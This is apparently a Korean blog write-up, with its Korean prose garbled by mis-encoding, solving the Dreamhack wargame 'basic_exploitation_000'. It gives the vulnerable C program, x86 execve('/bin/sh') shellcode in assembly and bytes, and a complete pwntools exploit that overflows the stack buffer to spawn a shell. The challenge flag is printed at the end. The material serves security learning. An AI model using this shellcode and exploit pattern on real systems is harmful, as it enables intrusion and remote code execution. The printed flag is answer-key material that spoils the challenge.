Jastes 2022. 4. 27. 11:21


basic_exploitation_000

๋ฌธ์ œํ’€์ด(pwntools์™€ shellcode)


๋ฐ‘์— ๋งํฌ๋Š” ์•ž์œผ๋กœ ๊ธฐ์žฌ๋  ๋ฌธ์ œ ํ’€์ด์—์„œ ํฐ ๋„์›€์ด ๋ ๊ฑฐ์˜ˆ์š”
์ถ”๊ฐ€๋กœ ํ•„์š”ํ•œ ์ •๋ณด๋Š” ์ฐจ์ฐจ ๊ธฐ์žฌํ• ๊ป˜์š”

 

Memory Corruption: Stack Buffer Overflow

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ(Stack Buffer Overflow) ์„ธ๊ณ„ ์ตœ์ดˆ์˜ ์›œ์ด๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” ๋ชจ๋ฆฌ์Šค ์œ”๋„ ์ด ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์ „ํŒŒ๋จ ๋ณด์•ˆ ๊ณต๋ถ€๋ฅผ ๋ชจ๋ฅด๋Š” ๊ฐœ๋ฐœ์ž๋„ ์•Œ๋งŒํผ ์œ ๋ช…ํ•˜๊ณ  ์—ญ์‚ฌ๊ฐ€ ์˜ค๋ž˜๋œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ

dystopia050119.tistory.com


//file name : basic_exploitation_000.c
//Complie : gcc -o basic_exploitation_000 basic_exploitation_000.c
 
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
 
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
 
 
int main(int argc, char *argv[]) {
 
    char buf[0x80]; //128byte
 
    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf); //141byte input vlun
 
    return 0;
}

์œ„ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜์‹œ๊ณ  ๋ณด๋ฉด ์–ด๋Š ๋ถ€๋ถ„์ด ์ทจ์•ฝํ•œ์ง€ ๋ณด์ผ๊ฑฐ์˜ˆ์š” ์ฃผ์ œ๋„ BOF๋‹ˆ๊นŒ ๊ธˆ๋ฐฉ ์•Œ๊ฒ ์ฃ ?

์œ„ ์ฝ”๋“œ๊ฐ€ buf๋ฅผ ๋„˜๋Š” ๊ฐ’๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›์œผ๋ฏ€๋กœ BOF๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒ ๋„ค์š”!!

scanf๊ฐ€ ์ทจ์•ฝ์ ์ด๋‹ˆ๊นŒ ๊ทธ ๋ถ€๋ถ„์„ ๊ณต๋žตํ•˜๋ฉด ๋˜๊ฒ ๋„ค์š”

์ด๋Ÿฐ ์‹์œผ๋กœ ์ž…๋ ฅ ๋ฐ›์œผ๋ฏ€๋กœ ์ด์ œ๋ถ€ํ„ด ํ•œ ์ ˆ์ฐจ๋ฅผ ์‚ฌ์ง„์œผ๋กœ๋งŒ ๋ณด์—ฌ์ฃผ๊ณ 
์„ค๋ช…์ด ํ•„์š”ํ•˜๋‹ค ์ƒ๊ฐ๋˜๋Š” ๋ถ€๋ถ„์—๋งŒ ๋ช‡ ์Šฌ๋ผ์ด๋“œ.. ์„ค๋ช…์œผ๋กœ ํ• ๊ป˜์š” ใ…Žใ…Ž

012345

  1. Scanf์˜ syscall๋กœ break boint๋ฅผ ์žก๊ณ  ์‹œ์ž‘์„ ํ• ๊นŒ์š”
    - ์•ž์— ์žˆ๋Š” ๋ถ€๋ถ„์„ ํ™•์ธํ•˜๊ณ  esp๋ฅผ ํ™•์ธํ•ด๋„ ํฌ๋งท ์ŠคํŠธ๋ง๊ณผ ๊ทœ์•ฝ์ด ์ •ํ•ด์ง„ ๋ชจ์Šต
  2. ์ด๋Ÿฐ ๋ฐฉ์‹์œผ๋กœ๋„ ํ™•์ธ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋ถ€๋ถ„
    - format ํ˜•์‹(์—ฌ๊ธฐ์„œ ์ž…๋ ฅ๋ฐ›์€ ๊ฑฐ ์ €์žฅํ•˜๋Š” ์ฃผ์†Œ โ‰’ esp)๊ณผ vararg๋กœ ํ˜•์‹๊นŒ์ง€
  3. ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์‹œํ‚จ ๋ชจ์Šต์ด๊ณ ์š”
  4. ์Šคํƒ์— ์ž…๋ ฅ๋ฐ›์€ ๋ถ€๋ถ„์€ esp(๋ฌธ์ œ์—์„œ x86 ์•„ํ‚คํ…์ฒ˜๋‹ˆ๊นŒ) ํ™•์ธ ๋ชจ์Šต
  5. break point ๋ฅผ ret๋กœ ์žก๊ณ  countinueํ•ด์„œ ํ™•์ธํ•˜๋ฉด ์ €๋ ‡๊ฒŒ ๋‚˜์™€์š”
    - esp(sfp)์—์„œ eip(ret)๋กœ ์ด๋™ํ•˜๊ธฐ ์ „์— ๋ชจ์Šต์ด์ฃ 
  6. si ์‹œํ‚จ ํ›„ eip๋ฅผ ๋ณด๋ฉด ์ด์ „์— ์žˆ๋˜ esp์˜ ์Šคํƒ์ด ์˜ฎ๊ธด ๋ชจ์Šต์ด์ฃ 

๊ณ ๋กฌ ์–ด๋Š์ •๋„ ๋ถ„์„์ด ๋‹ค ๋๋‚ฌ๊ธฐ์— ์‰˜ ์ฝ”๋“œ ๊ตฌ์„ฑ๊ณผ pwntools๋กœ ์„ค๊ณ„ํ•ด๋ด…์‹œ๋‹น!

์‰˜ ์ฝ”๋“œ ์ž‘์„ฑ ๋ชจ์Šต!!

์ž ์ด๋Ÿฐ ์‹์œผ๋กœ ์„ค๊ณ„๋ฅผ ํ• ๊ฑด๋ฐ์š” ๋ฉด๋ฐ€ํ•˜๊ฒŒ ์‚ดํŽด๋ด…์‹œ๋‹ค!

;file name : shellcode.asm 
 
global _start
 
section .text
_start:
 
        xor eax, eax    ; reseting the register
        push eax        ; pushing null terminator
        push 0x68732f2f ; push /bin//sh
        push 0x6e69622f
        mov ebx, esp    ; ebx = /bin//sh
        push eax
        mov edx, esp    ; envp = 0
        push ebx
        mov ecx, esp    ; argv = [filename,0]
        mov al, 11      ; syscall 12 (execve)
        int 0x80        ; syscall

์œ„๋Š” ์ด์ œ ์‚ฌ์šฉํ•  execve(const char *filename, char *const argv[], char *const envp[]);


์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋ฅผ ๊ธฐ๊ณ„์–ด๋กœ ๋ณ€ํ™˜ - shellcode.o

sudo apt-get install nasm
nasm -f elf(32) shellcode.asm
objdump -d shellcode.o
sudo apt-get install nasm
nasm -f elf(32) shellcode.asm
objdump -d shellcode.o

nasm์€ ์–ด์…ˆ๋ธ”์ฝ”๋“œ๋ฅผ ๊ธฐ๊ณ„์–ด๋กœ ๋ฐ”๊พธ์–ด์ฃผ๋Š” ํ˜•์‹์ž…๋‹ˆ๋‹ค!
vi๋กœ .asm ํ™•์žฅ์ž ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑ ํ›„ nasm ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ด ์‹คํ–‰ ํŒŒ์ผ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ช…๋ น์–ด์ฃ !


๊ธฐ๊ณ„์–ด ์ฝ”๋“œ - shellcode.bin

objcopy --dump-section .text=shellcode.bin shellcode.bin
xxd(or hexdump -C) shellcode.bin
objcopy --dump-section .text=shellcode.bin shellcode.bin
xxd(or hexdump -C) shellcode.bin

๋ญ.. ์ด๋Ÿฐ ์‹์œผ๋กœ ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์ฃ  ์ฒซ ๋ฒˆ์งธ๋Š” Dreamhack์—์„œ ํ•˜์‹  ์ฝ”๋“œ์ด๋ฉฐ,
ํ•ด์„ํ•˜์ž๋ฉด objcopy๋Š” ์˜คํ”„์ ํŠธ ๋ณต์‚ฌํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ --dump-section ๋กœ
์ถ”์ถœํ•˜์—ฌ .textํ˜•ํƒœ๋กœ shellcode.bin์˜ ํ™•์žฅ์ž๋กœ ๋„ฃ๋Š”๊ฑฐ์ฃ  ์•ฝ๊ฐ„ gcc -o ๊ฐ™๋„ค์š” ใ…Ž

 

์ฐธ๊ณ ๋กœ objcopy๋Š” ๋ณธ๋ž˜ ์•ฝ๊ฐ„ objcopy test test.new ์ด๋Ÿฐ ์‹์œผ๋กœ ์“ฐ๋Š” ๊ฑฐ์˜ˆ์š”
ํ•ดํ‚น์ด ์•„๋‹Œ ๋ชฉ์ ์—์„  ๊ฒ€์ฆ์ด๋‚˜ ๋ฐฑ์—… ์šฉ๋„?๋กœ ์“ด๋‹ค๊ณ  ์ƒ๊ฐํ•˜์‹œ๋ฉด ๋˜๊ฒ ๋„ค์š”

 

echo;objdump -d ./shellcode.o|grep '[0-9a-f]:'|grdhep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo
echo;objdump -d ./shellcode.o|grep '[0-9a-f]:'|grdhep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo

์ •๊ทœํ‘œํ˜„์‹๊ณผ ๋ฆฌ๋ˆ…์Šค ๋ช…๋ น์–ด๋กœ ์ถœ๋ ฅํ•˜๋Š” ๋ถ€๋ถ„์—์„œ ์ƒ๋‹นํžˆ ๋งŽ์€ ๋ถ€๋ถ„์„ ๊ฑธ๋ €๋„ค์š”
์ž์„ธํžˆ ๋ถ„์„์„ ํ•ด๋ณด๋ฉด... ์Œ.. ์ €๋„ ๋ช…ํ™•ํ•˜๊ฒ ๋ชจ๋ฅด๊ฒ ๋„ค์š” ์ฐจ์ฐจ ์•Œ์•„๊ฐ‘์‹œ๋‹ค ใ… 

 

์ฐธ๊ณ ๋กœ ์œ„ ์ž๋ฃŒ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ ํ–ˆ์Šต๋‹ˆ๋‹ค exploit-db ์ข‹์œผ๋‹ˆ๊นŒ ๊ฐ•์ถ”!!

 

Linux/x86 - execve(/bin/sh) + NOT/SHIFT-N/XOR-N Encoded Shellcode (50 byes)

Linux/x86 - execve(/bin/sh) + NOT/SHIFT-N/XOR-N Encoded Shellcode (50 byes) EDB-ID: 45529 CVE: N/A Date: 2018-10-04

www.exploit-db.com

 

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (28 bytes)

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (28 bytes) EDB-ID: 13353 CVE: N/A Date: 2006-11-16

www.exploit-db.com


exploit code - by pwntools์ด์ œ ์‰˜์ฝ”๋“œ๋„ ์–ป์—ˆ๊ฒ ๋‹ค ์‹œ์ž‘ํ•ด๋ณผ๊นŒ์š”?

#file name : exploit.py
from pwn import *
context.log_level = 'debug'
 
#p = process('./basic_exploitation_000')
p = remote('host1.dreamhack.games', '14412')
e = ELF('./basic_exploitation_000')
 
p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
p.recvline()
 
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'A'*0x66
payload += b'B'*0x4
payload += p32(buf)
 
p.sendline(payload)
p.interactive()

์œ„ ์ฝ”๋“œ๋ฅผ ๊ทธ๋Ÿผ ๋ถ„์„ํ•ด๋ด…์‹œ๋‹ค.

์ € ๋นจ๊ฐ„์ƒ‰์œผ๋กœ ์ณ์ง„ ๋ถ€๋ถ„์ด buf์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ›์•„์™€์„œ ์‹คํ–‰ํ•œ๋‹ค๋Š” ์ด์•ผ๊ธฐ์ธ๋ฐ..
์ฆ‰, ret๋ฅผ ๋ฐ›๊ฒ ๋‹จ ์†Œ๋ฆฌ์ด๋ฏ€๋กœ ์ผ๋‹จ ๊ทธ ํฌ์ธํ„ฐ๋ฅผ ์ •์ˆ˜ํ˜•์„ ๋ฐ›์„ ๊ฑธ์„ 16์ง„์ˆ˜๋กœ ๋ฐ”๊พธ์–ด์•ผ
์ €ํฌ๊ฐ€ ์ต์Šคํ”Œ๋กœ์ž‡ ํ• ๋•Œ ํŽธํ•˜๊ฒ ์ฃ  ๊ณ ๋กœ ๋ฐ›์•„์„œ ์ €์žฅํ•ฉ์‹œ๋‹ค ๋‚˜์ค‘์— ๋ฐ”๋กœ ์“ฐ๋‹ˆ๊นŒ

๊ทธ๋ฆฌ๊ณ  128byte๊ฐ€ buff์ด๋ฏ€๋กœ stf(4byte)๊นŒ์ง€ ํ•ฉ์น˜๋ฉด 132byte!
๊ฑฐ๊ธฐ์— shellcode + dummy + buf addr(ret โ‰’ shellcode addr)๋กœ์จ ๋˜๊ฒ ์ฃ 

b'NOP(โ‰’ \x90)'*(0x80 - len(shellcode)) + b'B'*0x4

๋กœ ํ•˜์…”๋„ ๋”ฑํžˆ ์ƒ๊ด€์€ ์—†๊ฒ ๋‹ค๋งŒ
์ €ํฌ ์‰˜ ์ฝ”๋“œ ๊ธธ์ด๊ฐ€ 26byte์˜€๋‚˜? ๊ทธ์ •๋„ ๋˜๋‹ˆ๊นŒ ํ•˜์‹œ๋ฉด ๋!

 

๊ทธ๋Ÿผ ์ต์Šคํ”Œ๋กœ์ž‡ ํ•˜์‹œ๋ฉด

DH{465dd453b2a25a26a847a93d3695676d}

DH{465dd453b2a25a26a847a93d3695676d}


์ฐธ๊ณ  ์ž๋ฃŒ

 

basic_exploitation_000

Description ์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basicexploitation000)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”. "fla

dreamhack.io

๋”๋ณด๊ธฐ

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

basic_exploitation_000

Description ์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basicexploitation000)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”. "fla

dreamhack.io